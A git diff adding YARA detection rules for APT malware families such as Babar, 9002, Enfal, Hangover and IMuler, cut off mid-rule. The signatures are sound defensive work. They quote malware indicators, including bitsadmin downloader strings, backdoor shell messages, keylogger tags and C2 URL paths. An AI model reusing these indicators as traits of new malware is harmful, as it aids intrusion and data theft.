diff --git a/yara-mikesxrs/Seth Hardy/Babar.yar b/yara-mikesxrs/Seth Hardy/Babar.yar
new file mode 100644
index 0000000..ca4be2c
--- /dev/null
+++ b/yara-mikesxrs/Seth Hardy/Babar.yar	
@@ -0,0 +1,33 @@
+rule SNOWGLOBE_Babar_Malware 
+{
+    meta:
+        description = "Detects the Babar Malware used in the SNOWGLOBE attacks - file babar.exe"
+        author = "Florian Roth"
+        reference = "http://motherboard.vice.com/read/meet-babar-a-new-malware-almost-certainly-created-by-france"
+        date = "2015/02/18"
+        hash = "27a0a98053f3eed82a51cdefbdfec7bb948e1f36"
+        score = 80
+
+    strings:
+        $mz = { 4d 5a }
+        $z0 = "admin\\Desktop\\Babar64\\Babar64\\obj\\DllWrapper" ascii fullword
+        $z1 = "User-Agent: Mozilla/4.0 (compatible; MSI 6.0;" ascii fullword
+        $z2 = "ExecQueryFailled!" fullword ascii
+        $z3 = "NBOT_COMMAND_LINE" fullword
+        $z4 = "!!!EXTRACT ERROR!!!File Does Not Exists-->[%s]" fullword
+
+        $s1 = "/s /n %s \"%s\"" fullword ascii
+        $s2 = "%%WINDIR%%\\%s\\%s" fullword ascii
+        $s3 = "/c start /wait " fullword ascii
+        $s4 = "(D;OICI;FA;;;AN)(A;OICI;FA;;;BG)(A;OICI;FA;;;SY)(A;OICI;FA;;;LS)" ascii
+
+        $x1 = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\" fullword ascii
+        $x2 = "%COMMON_APPDATA%" fullword ascii
+        $x4 = "CONOUT$" fullword ascii
+        $x5 = "cmd.exe" fullword ascii
+        $x6 = "DLLPATH" fullword ascii
+
+    condition:
+        ( $mz at 0 ) and filesize < 1MB and
+        (( 1 of ($z*) and 1 of ($x*) ) or( 3 of ($s*) and 4 of ($x*) ))
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Seth Hardy/GeorBot.yar b/yara-mikesxrs/Seth Hardy/GeorBot.yar
new file mode 100644
index 0000000..9369034
--- /dev/null
+++ b/yara-mikesxrs/Seth Hardy/GeorBot.yar	
@@ -0,0 +1,17 @@
+rule GeorBotBinary
+{
+	strings:
+		$a = {63 72 ?? 5F 30 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C}
+
+	condition:
+		all of them
+}
+rule GeorBotMemory
+{
+	strings:
+		$a = {53 4F 46 54 57 41 52 45 5C 00 4D 69 63 72 6F 73 6F 66 74 5C 00 57 69 6E 64 6F 77 73 5C 43 75 72 72 65 6E 74 56 65 72 73 69 6F 6E 5C 00 52 75 6E 00 55 53 42 53 45 52 56}
+		$b = {73 79 73 74 65 6D 33 32 5C 75 73 62 73 65 72 76 2E 65 78 65}
+		$c = {5C 75 73 62 73 65 72 76 2E 65 78 65}
+	condition:
+		$a and ($b or $c)
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Seth Hardy/Scieron.yar b/yara-mikesxrs/Seth Hardy/Scieron.yar
new file mode 100644
index 0000000..8035b0a
--- /dev/null
+++ b/yara-mikesxrs/Seth Hardy/Scieron.yar	
@@ -0,0 +1,27 @@
+rule Scieron
+{
+    meta:
+        author = "Symantec Security Response"
+        ref = "http://www.symantec.com/connect/tr/blogs/scarab-attackers-took-aim-select-russian-targets-2012"
+        date = "22.01.15"
+
+    strings:
+        // .text:10002069 66 83 F8 2C                       cmp     ax, ','
+        // .text:1000206D 74 0C                             jz      short loc_1000207B
+        // .text:1000206F 66 83 F8 3B                       cmp     ax, ';'
+        // .text:10002073 74 06                             jz      short loc_1000207B
+        // .text:10002075 66 83 F8 7C                       cmp     ax, '|'
+        // .text:10002079 75 05                             jnz     short loc_10002080
+        $code1 = {66 83 F? 2C 74 0C 66 83 F? 3B 74 06 66 83 F? 7C 75 05}
+        
+        // .text:10001D83 83 F8 09                          cmp     eax, 9          ; switch 10 cases
+        // .text:10001D86 0F 87 DB 00 00 00                 ja      loc_10001E67    ; jumptable 10001D8C default case
+        // .text:10001D8C FF 24 85 55 1F 00+                jmp     ds:off_10001F55[eax*4] ; switch jump
+        $code2 = {83 F? 09 0F 87 ?? 0? 00 00 FF 24}
+        
+        $str1  = "IP_PADDING_DATA" wide ascii
+        $str2  = "PORT_NUM" wide ascii
+        
+    condition:
+        all of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Seth Hardy/Seth_Hardy_index.yara b/yara-mikesxrs/Seth Hardy/Seth_Hardy_index.yara
new file mode 100644
index 0000000..5c83ee5
--- /dev/null
+++ b/yara-mikesxrs/Seth Hardy/Seth_Hardy_index.yara	
@@ -0,0 +1,2381 @@
+private rule APT3102Code : APT3102 Family 
+{
+    meta:
+        description = "3102 code features"
+        author = "Seth Hardy"
+        last_modified = "2014-06-25"
+        
+    strings:
+        $setupthread = { B9 02 07 00 00 BE ?? ?? ?? ?? 8B F8 6A 00 F3 A5 }
+  
+    condition:
+        any of them
+}
+
+private rule APT3102Strings : APT3102 Family
+{
+    meta:
+        description = "3102 Identifying Strings"
+        author = "Seth Hardy"
+        last_modified = "2014-06-25"
+        
+    strings:
+        $ = "rundll32_exec.dll\x00Update"
+        // this is in the encrypted code - shares with 9002 variant
+        //$ = "POST http://%ls:%d/%x HTTP/1.1"
+        
+    condition:
+       any of them
+}
+
+
+private rule APT9002Code : APT9002 Family 
+{
+    meta:
+        description = "9002 code features"
+        author = "Seth Hardy"
+        last_modified = "2014-06-25"
+        
+    strings:
+        // start code block
+        $ = { B9 7A 21 00 00 BE ?? ?? ?? ?? 8B F8 ?? ?? ?? F3 A5 }
+        // decryption from other variant with multiple start threads
+        $ = { 8A 14 3E 8A 1C 01 32 DA 88 1C 01 8B 54 3E 04 40 3B C2 72 EC }
+  
+    condition:
+        any of them
+}
+
+private rule APT9002Strings : APT9002 Family
+{
+    meta:
+        description = "9002 Identifying Strings"
+        author = "Seth Hardy"
+        last_modified = "2014-06-25"
+        
+    strings:
+        $ = "POST http://%ls:%d/%x HTTP/1.1"
+        $ = "%%TEMP%%\\%s_p.ax" wide ascii
+        $ = "%TEMP%\\uid.ax" wide ascii
+        $ = "%%TEMP%%\\%s.ax" wide ascii
+        // also triggers on surtr $ = "mydll.dll\x00DoWork"
+        $ = "sysinfo\x00sysbin01"
+        $ = "\\FlashUpdate.exe"
+        
+    condition:
+       any of them
+}
+
+
+rule APT_NGO_wuaclt
+{
+  strings:
+    $a = "%%APPDATA%%\\Microsoft\\wuauclt\\wuauclt.dat"
+    $b = "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
+    $c = "/news/show.asp?id%d=%d"
+    
+	$d = "%%APPDATA%%\\Microsoft\\wuauclt\\"
+	$e = "0l23kj@nboxu"
+	
+	$f = "%%s.asp?id=%%d&Sid=%%d"
+	$g = "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SP Q%%d)"
+	$h = "Cookies: UseID=KGIOODAOOK%%s"
+
+  condition:
+    ($a and $b and $c) or ($d and $e) or ($f and $g and $h)
+}
+rule APT_NGO_wuaclt_PDF
+{
+	strings:
+		$pdf  = "%PDF" nocase
+		$comment = {3C 21 2D 2D 0D 0A 63 57 4B 51 6D 5A 6C 61 56 56 56 56 56 56 56 56 56 56 56 56 56 63 77 53 64 63 6A 4B 7A 38 35 6D 37 4A 56 6D 37 4A 46 78 6B 5A 6D 5A 6D 52 44 63 5A 58 41 73 6D 5A 6D 5A 7A 42 4A 31 79 73 2F 4F 0D 0A}
+	
+	condition:
+		$pdf at 0 and $comment in (0..200)
+}
+
+rule SNOWGLOBE_Babar_Malware 
+{
+    meta:
+        description = "Detects the Babar Malware used in the SNOWGLOBE attacks - file babar.exe"
+        author = "Florian Roth"
+        reference = "http://motherboard.vice.com/read/meet-babar-a-new-malware-almost-certainly-created-by-france"
+        date = "2015/02/18"
+        hash = "27a0a98053f3eed82a51cdefbdfec7bb948e1f36"
+        score = 80
+
+    strings:
+        $mz = { 4d 5a }
+        $z0 = "admin\\Desktop\\Babar64\\Babar64\\obj\\DllWrapper" ascii fullword
+        $z1 = "User-Agent: Mozilla/4.0 (compatible; MSI 6.0;" ascii fullword
+        $z2 = "ExecQueryFailled!" fullword ascii
+        $z3 = "NBOT_COMMAND_LINE" fullword
+        $z4 = "!!!EXTRACT ERROR!!!File Does Not Exists-->[%s]" fullword
+
+        $s1 = "/s /n %s \"%s\"" fullword ascii
+        $s2 = "%%WINDIR%%\\%s\\%s" fullword ascii
+        $s3 = "/c start /wait " fullword ascii
+        $s4 = "(D;OICI;FA;;;AN)(A;OICI;FA;;;BG)(A;OICI;FA;;;SY)(A;OICI;FA;;;LS)" ascii
+
+        $x1 = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\" fullword ascii
+        $x2 = "%COMMON_APPDATA%" fullword ascii
+        $x4 = "CONOUT$" fullword ascii
+        $x5 = "cmd.exe" fullword ascii
+        $x6 = "DLLPATH" fullword ascii
+
+    condition:
+        ( $mz at 0 ) and filesize < 1MB and
+        (( 1 of ($z*) and 1 of ($x*) ) or( 3 of ($s*) and 4 of ($x*) ))
+}
+private rule BangatCode : Bangat Family 
+{
+    meta:
+        description = "Bangat code features"
+        author = "Seth Hardy"
+        last_modified = "2014-07-10"
+    
+    strings:
+        // dec [ebp + procname], push eax, push edx, call get procaddress
+        $ = { FE 4D ?? 8D 4? ?? 50 5? FF }
+    
+    condition:
+        any of them
+}
+
+private rule BangatStrings : Bangat Family
+{
+    meta:
+        description = "Bangat Identifying Strings"
+        author = "Seth Hardy"
+        last_modified = "2014-07-10"
+        
+    strings:
+        $lib1 = "DreatePipe"
+        $lib2 = "HetSystemDirectoryA"
+        $lib3 = "SeleaseMutex"
+        $lib4 = "DloseWindowStation"
+        $lib5 = "DontrolService"
+        $file = "~hhC2F~.tmp"
+        $mc = "~_MC_3~"
+
+    condition:
+       all of ($lib*) or $file or $mc
+}
+
+
+private rule BoousetCode : Boouset Family 
+{
+    meta:
+        description = "Boouset code tricks"
+        author = "Seth Hardy"
+        last_modified = "2014-06-19"
+        
+    strings:
+        $boousetdat = { C6 ?? ?? ?? ?? 00 62 C6 ?? ?? ?? ?? 00 6F C6 ?? ?? ?? ?? 00 6F C6 ?? ?? ?? ?? 00 75 }
+        
+    condition:
+        any of them
+}
+
+private rule BoousetStrings : Boouset Family
+{
+    meta:
+        description = "Boouset Identifying Strings"
+        author = "Seth Hardy"
+        last_modified = "2014-06-19"
+        
+    strings:
+        //$s1 = "Q\x00\x00\x00\x00W\x00\x00\x00\x00E\x00\x00\x00\x00R\x00\x00\x00\x00T\x00\x00\x00\x00Y\x00\x00\x00\x00"
+        //$s2 = "A\x00\x00\x00\x00S\x00\x00\x00\x00D\x00\x00\x00\x00F\x00\x00\x00\x00G\x00\x00\x00\x00H"
+        //$s3 = "Z\x00\x00\x00\x00X\x00\x00\x00\x00C\x00\x00\x00\x00V\x00\x00\x00\x00B\x00\x00\x00\x00N\x00\x00\x00\x00"
+        $s4 = "\\~Z8314.tmp"
+        $s5 = "hulee midimap" wide ascii
+        
+    condition:
+       any of them
+}
+
+private rule ComfooCode : Comfoo Family 
+{
+    meta:
+        description = "Comfoo code features"
+        author = "Seth Hardy"
+        last_modified = "2014-06-20"
+        
+    strings:
+        $resource = { 6A 6C 6A 59 55 E8 01 FA FF FF }
+  
+    condition:
+        any of them
+}
+
+private rule ComfooStrings : Comfoo Family
+{
+    meta:
+        description = "Comfoo Identifying Strings"
+        author = "Seth Hardy"
+        last_modified = "2014-06-20"
+        
+    strings:
+        $ = "fefj90"
+        $ = "iamwaitingforu653890"
+        $ = "watchevent29021803"
+        $ = "THIS324NEWGAME"
+        $ = "ms0ert.temp"
+        $ = "\\mstemp.temp"
+        
+    condition:
+       any of them
+}
+
+private rule CookiesStrings : Cookies Family
+{
+    meta:
+        description = "Cookies Identifying Strings"
+        author = "Seth Hardy"
+        last_modified = "2014-06-20"
+        
+    strings:
+        $zip1 = "ntdll.exePK"
+        $zip2 = "AcroRd32.exePK"
+        $zip3 = "Setup=ntdll.exe\x0d\x0aSilent=1\x0d\x0a"
+        $zip4 = "Setup=%temp%\\AcroRd32.exe\x0d\x0a"
+        $exe1 = "Leave GetCommand!"
+        $exe2 = "perform exe success!"
+        $exe3 = "perform exe failure!"
+        $exe4 = "Entry SendCommandReq!"
+        $exe5 = "Reqfile not exist!"
+        $exe6 = "LeaveDealUpfile!"
+        $exe7 = "Entry PostData!"
+        $exe8 = "Leave PostFile!"
+        $exe9 = "Entry PostFile!"
+        $exe10 = "\\unknow.zip" wide ascii
+        $exe11 = "the url no respon!"
+        
+    condition:
+      (2 of ($zip*)) or (2 of ($exe*))
+}
+
+private rule cxpidCode : cxpid Family 
+{
+    meta:
+        description = "cxpid code features"
+        author = "Seth Hardy"
+        last_modified = "2014-06-23"
+    
+    strings:
+        $entryjunk = { 55 8B EC B9 38 04 00 00 6A 00 6A 00 49 75 F9 }
+    
+    condition:
+        any of them
+}
+
+private rule cxpidStrings : cxpid Family
+{
+    meta:
+        description = "cxpid Identifying Strings"
+        author = "Seth Hardy"
+        last_modified = "2014-06-23"
+        
+    strings:
+        $ = "/cxpid/submit.php?SessionID="
+        $ = "/cxgid/"
+        $ = "E21BC52BEA2FEF26D005CF"
+        $ = "E21BC52BEA39E435C40CD8"
+        $ = "                   -,L-,O+,Q-,R-,Y-,S-"
+        
+    condition:
+       any of them
+}
+
+private rule EnfalCode : Enfal Family 
+{
+    meta:
+        description = "Enfal code tricks"
+        author = "Seth Hardy"
+        last_modified = "2014-06-19"
+        
+    strings:
+        // mov al, 20h; sub al, bl; add [ebx+esi], al; push esi; inc ebx; call edi; cmp ebx, eax
+        $decrypt = { B0 20 2A C3 00 04 33 56 43 FF D7 3B D8 }
+        
+    condition:
+        any of them
+}
+
+private rule EnfalStrings : Enfal Family
+{
+    meta:
+        description = "Enfal Identifying Strings"
+        author = "Seth Hardy"
+        last_modified = "2014-06-19"
+        
+    strings:
+        $ = "D:\\work\\\xe6\xba\x90\xe5\x93\xa5\xe5\x85\x8d\xe6\x9d\x80\\tmp\\Release\\ServiceDll.pdb"
+        $ = "e:\\programs\\LuridDownLoader"
+        $ = "LuridDownloader for Falcon"
+        $ = "DllServiceTrojan"
+        $ = "\\k\\\xe6\xa1\x8c\xe8\x9d\xa2\\"
+        $ = "EtenFalcon\xef\xbc\x88\xe4\xbf\xae\xe6\x94\xb9\xef\xbc\x89"
+        $ = "Madonna\x00Jesus"
+        $ = "/iupw82/netstate"
+        $ = "fuckNodAgain"
+        $ = "iloudermao"
+        $ = "Crpq2.cgi"
+        $ = "Clnpp5.cgi"
+        $ = "Dqpq3ll.cgi"
+        $ = "dieosn83.cgi"
+        $ = "Rwpq1.cgi"
+        $ = "/Ccmwhite"
+        $ = "/Cmwhite"
+        $ = "/Crpwhite"
+        $ = "/Dfwhite"
+        $ = "/Query.txt"
+        $ = "/Ufwhite"
+        $ = "/cgl-bin/Clnpp5.cgi"
+        $ = "/cgl-bin/Crpq2.cgi"
+        $ = "/cgl-bin/Dwpq3ll.cgi"
+        $ = "/cgl-bin/Owpq4.cgi"
+        $ = "/cgl-bin/Rwpq1.cgi"
+        $ = "/trandocs/mm/"
+        $ = "/trandocs/netstat"
+        $ = "NFal.exe"
+        $ = "LINLINVMAN"
+        $ = "7NFP4R9W"
+        
+    condition:
+        any of them
+}
+
+private rule EzcobStrings : Ezcob Family
+{
+    meta:
+        description = "Ezcob Identifying Strings"
+        author = "Seth Hardy"
+        last_modified = "2014-06-23"
+        
+    strings:
+        $ = "\x12F\x12F\x129\x12E\x12A\x12E\x12B\x12A\x12-\x127\x127\x128\x123\x12"
+        $ = "\x121\x12D\x128\x123\x12B\x122\x12E\x128\x12-\x12B\x122\x123\x12D\x12"
+        $ = "Ezcob" wide ascii
+        $ = "l\x12i\x12u\x122\x120\x121\x123\x120\x124\x121\x126"
+        $ = "20110113144935"
+        
+    condition:
+       any of them
+}
+
+rule ws_f0xy_downloader {
+  meta:
+    description = "f0xy malware downloader"
+    author = "Nick Griffin (Websense)"
+
+  strings:
+    $mz="MZ"
+    $string1="bitsadmin /transfer"
+    $string2="del rm.bat"
+    $string3="av_list="
+  
+  condition:
+    ($mz at 0) and (all of ($string*))
+}
+private rule HTMLVariant : FakeM Family HTML Variant
+{
+	meta:
+		description = "Identifier for html variant of FAKEM"
+		author = "Katie Kleemola"
+		last_updated = "2014-05-20"
+	
+	strings:
+		// decryption loop
+		$s1 = { 8B 55 08 B9 00 50 00 00 8D 3D ?? ?? ?? 00 8B F7 AD 33 C2 AB 83 E9 04 85 C9 75 F5 }
+		//mov byte ptr [ebp - x] y, x: 0x10-0x1 y: 0-9,A-F
+		$s2 = { C6 45 F? (3?|4?) }
+
+	condition:
+		$s1 and #s2 == 16
+
+}
+
+//todo: need rules for other variants
+rule FakeM : Family
+{
+	meta:
+		description = "FakeM"
+		author = "Katie Kleemola"
+		last_updated = "2014-07-03"
+	
+	condition:
+		HTMLVariant
+
+
+}
+
+rule FAKEMhtml : Variant
+{
+	meta:
+		description = "Rule for just the HTML Variant"
+		author = "Katie Kleemola"
+		last_updated = "2014-07-10"
+	
+	condition:
+		HTMLVariant
+}
+private rule FavoriteCode : Favorite Family 
+{
+    meta:
+        description = "Favorite code features"
+        author = "Seth Hardy"
+        last_modified = "2014-06-24"
+    
+    strings:
+        // standard string hiding
+        $ = { C6 45 ?? 3B C6 45 ?? 27 C6 45 ?? 34 C6 45 ?? 75 C6 45 ?? 6B C6 45 ?? 6C C6 45 ?? 3B C6 45 ?? 2F }
+        $ = { C6 45 ?? 6F C6 45 ?? 73 C6 45 ?? 73 C6 45 ?? 76 C6 45 ?? 63 C6 45 ?? 65 C6 45 ?? 78 C6 45 ?? 65 }
+    
+    condition:
+        any of them
+}
+
+private rule FavoriteStrings : Favorite Family
+{
+    meta:
+        description = "Favorite Identifying Strings"
+        author = "Seth Hardy"
+        last_modified = "2014-06-24"
+        
+    strings:
+        $string1 = "!QAZ4rfv"
+        $file1 = "msupdater.exe"
+        $file2 = "FAVORITES.DAT"
+        
+    condition:
+       any of ($string*) or all of ($file*)
+}
+
+rule GeorBotBinary
+{
+	strings:
+		$a = {63 72 ?? 5F 30 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C}
+
+	condition:
+		all of them
+}
+rule GeorBotMemory
+{
+	strings:
+		$a = {53 4F 46 54 57 41 52 45 5C 00 4D 69 63 72 6F 73 6F 66 74 5C 00 57 69 6E 64 6F 77 73 5C 43 75 72 72 65 6E 74 56 65 72 73 69 6F 6E 5C 00 52 75 6E 00 55 53 42 53 45 52 56}
+		$b = {73 79 73 74 65 6D 33 32 5C 75 73 62 73 65 72 76 2E 65 78 65}
+		$c = {5C 75 73 62 73 65 72 76 2E 65 78 65}
+	condition:
+		$a and ($b or $c)
+}
+private rule GlassesCode : Glasses Family 
+{
+    meta:
+        description = "Glasses code features"
+        author = "Seth Hardy"
+        last_modified = "2014-07-22"
+        
+    strings:
+        $ = { B8 AB AA AA AA F7 E1 D1 EA 8D 04 52 2B C8 }
+        $ = { B8 56 55 55 55 F7 E9 8B 4C 24 1C 8B C2 C1 E8 1F 03 D0 49 3B CA }
+        
+    condition:
+        any of them
+}
+
+private rule GlassesStrings : Glasses Family
+{
+    meta:
+        description = "Strings used by Glasses"
+        author = "Seth Hardy"
+        last_modified = "2014-07-22"
+        
+    strings:
+        $ = "thequickbrownfxjmpsvalzydg"
+        $ = "Mozilla/4.0 (compatible; Windows NT 5.1; MSIE 7.0; Trident/4.0; %s.%s)"
+        $ = "\" target=\"NewRef\"></a>"
+ 
+    condition:
+        all of them
+
+}
+
+rule Hangover_ron_babylon
+{
+  strings:
+    $a = "Content-Disposition: form-data; name=\"uploaddir\""
+    $b1 = "MBVDFRESCT"
+    $b2 = "EMSCBVDFRT"
+    $b3 = "EMSFRTCBVD"
+    $b4= "sendFile"
+    $b5 = "BUGMAAL"
+    $b6 = "sMAAL"
+    $b7 = "SIMPLE"
+    $b8 = "SPLIME"
+    $b9 = "getkey.php"
+    $b10 = "MBVDFRESCT"
+    $b11 = "DSMBVCTFRE"
+    $b12 = "MBESCVDFRT"
+    $b13 = "TCBFRVDEMS"
+    $b14 = "DEMOMAKE"
+    $b15 = "DEMO"
+    $b16 = "UPHTTP"
+    
+
+    $c1 = "F39D45E70395ABFB8D8D2BFFC8BBD152"
+    $c2 = "90B452BFFF3F395ABDC878D8BEDBD152"
+    $c3 = "FFF3F395A90B452BB8BEDC878DDBD152"
+    $c4 = "5A9DCB8FFF3F02B8B45BE39D152"
+    $c5 = "5A902B8B45BEDCB8FFF3F39D152"
+    $c6 = "78DDB5A902BB8FFF3F398B45BEDCD152"
+    $c7 = "905ABEB452BFFFBDC878D83F39DBD152"
+    $c8 = "D2BFFC8BBD152F3B8D89D45E70395ABF"
+    $c9 = "8765F3F395A90B452BB8BEDC878"
+    $c10 = "90ABDC878D8BEDBB452BFFF3F395D152"
+    $c11 = "F12BDC94490B452AA8AEDC878DCBD187"
+    
+  condition:
+    $a and (1 of ($b*) or 1 of ($c*))
+    
+}
+
+rule Hangover_Fuddol {
+    strings:
+        $a = "\\Http downloader(fud)"
+        $b = "Fileexists"
+    condition:
+        all of them
+
+}
+
+rule Hangover_UpdateEx {
+    strings:
+        $a1 = "UpdateEx"
+        $a2 = "VBA6.DLL"
+        $a3 = "MainEx"
+        $a4 = "GetLogs"
+        $a5 = "ProMan"
+        $a6 = "RedMod"
+        
+    condition:
+        all of them
+
+}
+
+rule Hangover_Tymtin_Degrab {
+    strings:
+        $a1 = "&dis=no&utp=op&mfol="
+        $a2 = "value1=1&value2=2"
+        
+    condition:
+        all of them
+
+}
+
+
+rule Hangover_Smackdown_Downloader {
+    strings:
+        $a1 = "DownloadComplete"
+        $a2 = "DownloadProgress"
+        $a3 = "DownloadError"
+        $a4 = "UserControl"
+        $a5 = "MSVBVM60.DLL"
+
+        $b1 = "syslide"
+        $b2 = "frmMina"
+        $b3 = "Soundsman"
+        $b4 = "New_upl"
+        $b5 = "MCircle"
+        $b6 = "shells_DataArrival"
+        
+    condition:
+        3 of ($a*) and 1 of ($b*)
+
+}
+
+
+rule Hangover_Vacrhan_Downloader {
+    strings:
+        $a1 = "pranVacrhan"
+        $a2 = "VBA6.DLL"
+        $a3 = "Timer1"
+        $a4 = "Timer2"
+        $a5 = "IsNTAdmin"
+        
+    condition:
+        all of them
+
+}
+
+
+rule Hangover_Smackdown_various {
+    strings:
+        $a1 = "pranVacrhan"
+        $a2 = "NaramGaram"
+        $a3 = "vampro"
+        $a4 = "AngelPro"
+        
+        $b1 = "VBA6.DLL"
+        $b2 = "advpack"
+        $b3 = "IsNTAdmin"
+        
+        
+    condition:
+        1 of ($a*) and all of ($b*)
+
+}
+
+rule Hangover_Foler {
+    strings:
+        $a1 = "\\MyHood"
+        $a2 = "UsbP"
+        $a3 = "ID_MON"
+        
+    condition:
+        all of them
+
+}
+
+rule Hangover_Appinbot {
+    strings:
+        $a1 = "CreateToolhelp32Snapshot"
+        $a2 = "Process32First"
+        $a3 = "Process32Next"
+        $a4 = "FIDR/"
+        $a5 = "SUBSCRIBE %d"
+        $a6 = "CLOSE %d"
+        
+    condition:
+        all of them
+
+}
+
+rule Hangover_Linog {
+    strings:
+        $a1 = "uploadedfile"
+        $a2 = "Error in opening a file.."
+        $a3 = "The file could not be opened"
+        $a4 = "%sContent-Disposition: form-data; name=\"%s\";filename=\"%s\""
+
+    condition:
+        all of them
+
+}
+
+
+rule Hangover_Iconfall {
+    strings:
+        $a1 = "iconfall"
+        $a2 = "78DDB5A902BB8FFF3F398B45BEDCD152"
+        
+    condition:
+        all of them
+
+}
+
+
+rule Hangover_Deksila {
+    strings:
+        $a1 = "WinInetGet/0.1"
+        $a2 = "dekstop2007.ico"
+        $a3 = "mozila20"
+        
+    condition:
+        all of them
+
+}
+
+rule Hangover_Auspo {
+    strings:
+        $a1 = "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV2)"
+        $a2 = "POWERS"
+        $a3 = "AUSTIN"
+        
+    condition:
+        all of them
+
+}
+
+rule Hangover_Slidewin {
+    strings:
+        $a1 = "[NumLock]"
+        $a2 = "[ScrlLock]"
+        $a3 = "[LtCtrl]"
+        $a4 = "[RtCtrl]"
+        $a5 = "[LtAlt]"
+        $a6 = "[RtAlt]"
+        $a7 = "[HomePage]"
+        $a8 = "[MuteOn/Off]"
+        $a9 = "[VolDn]"
+        $a10 = "[VolUp]"
+        $a11 = "[Play/Pause]"
+        $a12 = "[MailBox]"
+        $a14 = "[Calc]"
+        $a15 = "[Unknown]"
+        
+    condition:
+        all of them
+
+}
+
+
+rule Hangover_Gimwlog {
+    strings:
+        $a1 = "file closed---------------------"
+        $a2 = "new file------------------"
+        $a3 = "md C:\\ApplicationData\\Prefetch\\"
+        
+    condition:
+        all of them
+
+}
+
+
+rule Hangover_Gimwup {
+    strings:
+        $a1 = "=======inside while==========="
+        $a2 = "scan finished"
+        $a3 = "logFile.txt"
+        
+    condition:
+        all of them
+
+}
+
+rule Hangover2_Downloader {
+
+  strings:
+
+    $a = "WinInetGet/0.1" wide ascii
+
+    $b = "Excep while up" wide ascii
+
+    $c = "&file=" wide ascii
+
+    $d = "&str=" wide ascii
+
+    $e = "?cn=" wide ascii
+
+  condition:
+
+    all of them
+}
+
+rule Hangover2_stealer {
+
+  strings:
+
+    $a = "MyWebClient" wide ascii
+
+    $b = "Location: {[0-9]+}" wide ascii
+
+    $c = "[%s]:[C-%s]:[A-%s]:[W-%s]:[S-%d]" wide ascii
+
+  condition:
+
+    all of them
+}
+
+rule Hangover2_backdoor_shell {
+
+  strings:
+
+    $a = "Shell started at: " wide ascii
+
+    $b = "Shell closed at: " wide ascii
+
+    $c = "Shell is already closed!" wide ascii
+
+    $d = "Shell is not Running!" wide ascii
+
+  condition:
+
+    all of them
+}
+
+rule Hangover2_Keylogger {
+
+  strings:
+
+    $a = "iconfall" wide ascii
+
+    $b = "/c ipconfig /all > " wide ascii
+
+    $c = "Global\\{CHKAJESKRB9-35NA7-94Y436G37KGT}" wide ascii
+
+  condition:
+
+    all of them
+}
+
+private rule iexpl0reCode : iexpl0ree Family 
+{
+    meta:
+        description = "iexpl0re code features"
+        author = "Seth Hardy"
+        last_modified = "2014-07-21"
+        
+    strings:
+        $ = { 47 83 FF 64 0F 8C 6D FF FF FF 33 C0 5F 5E 5B C9 C3 }
+        $ = { 80 74 0D A4 44 41 3B C8 7C F6 68 04 01 00 00 }
+        $ = { 8A C1 B2 07 F6 EA 30 04 31 41 3B 4D 10 7C F1 }
+        $ = { 47 83 FF 64 0F 8C 79 FF FF FF 33 C0 5F 5E 5B C9 C3 }
+        // 88h decrypt
+        $ = { 68 88 00 00 00 68 90 06 00 00 68 ?? ?? ?? ?? 89 3? E8 }
+        $ = { BB 88 00 00 00 53 68 90 06 00 00 68 ?? ?? ?? ?? 89 3? E8 }
+        
+    condition:
+        any of them
+}
+
+private rule iexpl0reStrings : iexpl0re Family
+{
+    meta:
+        description = "Strings used by iexpl0re"
+        author = "Seth Hardy"
+        last_modified = "2014-07-21"
+        
+    strings:
+        $ = "%USERPROFILE%\\IEXPL0RE.EXE"
+        $ = "\"<770j (("
+        $ = "\\Users\\%s\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\IEXPL0RE.LNK"
+        $ = "\\Documents and Settings\\%s\\Application Data\\Microsoft\\Internet Explorer\\IEXPL0RE.EXE"
+        $ = "LoaderV5.dll"
+        // stage 2
+        $ = "POST /index%0.9d.asp HTTP/1.1"
+        $ = "GET /search?n=%0.9d&"
+        $ = "DUDE_AM_I_SHARP-3.14159265358979x6.626176"
+        $ = "WHO_A_R_E_YOU?2.99792458x1.25663706143592"
+        $ = "BASTARD_&&_BITCHES_%0.8x"
+        $ = "c:\\bbb\\eee.txt"
+        
+    condition:
+        any of them
+
+}
+
+private rule IMulerCode : IMuler Family 
+{
+    meta:
+        description = "IMuler code tricks"
+        author = "Seth Hardy"
+        last_modified = "2014-06-16"
+        
+    strings:
+        // Load these function strings 4 characters at a time. These check the first two blocks:
+        $L4_tmpSpotlight = { C7 ?? 2F 74 6D 70 C7 ?? 04 2F 53 70 6F }
+        $L4_TMPAAABBB = { C7 ?? ?? ?? ?? ?? 54 4D 50 41 C7 ?? ?? ?? ?? ?? 41 41 42 42 }
+        $L4_FILEAGENTVer = { C7 ?? 46 49 4C 45 C7 ?? 04 41 47 45 4E }
+        $L4_TMP0M34JDF8 = { C7 ?? ?? ?? ?? ?? 54 4D 50 30 C7 ?? ?? ?? ?? ?? 4D 33 34 4A }
+        $L4_tmpmdworker = { C7 ?? 2F 74 6D 70 C7 ?? 04 2F 2E 6D 64 }
+        
+    condition:
+        any of ($L4*)
+}
+
+private rule IMulerStrings : IMuler Family
+{
+    meta:
+        description = "IMuler Identifying Strings"
+        author = "Seth Hardy"
+        last_modified = "2014-06-16"
+        
+    strings:
+        $ = "/cgi-mac/"
+        $ = "xnocz1"
+        $ = "checkvir.plist"
+        $ = "/Users/apple/Documents/mac back"
+        $ = "iMuler2"
+        $ = "/Users/imac/Desktop/macback/"
+        $ = "xntaskz.gz"
+        $ = "2wmsetstatus.cgi"
+        $ = "launch-0rp.dat"
+        $ = "2wmupload.cgi"
+        $ = "xntmpz"
+        $ = "2wmrecvdata.cgi"
+        $ = "xnorz6"
+        $ = "2wmdelfile.cgi"
+        $ = "/LanchAgents/checkvir"
+        $ = "0PERA:%s"
+        $ = "/tmp/Spotlight"
+        $ = "/tmp/launch-ICS000"
+        
+    condition:
+        any of them
+}
+
+
+private rule Insta11Code : Insta11 Family 
+{
+    meta:
+        description = "Insta11 code features"
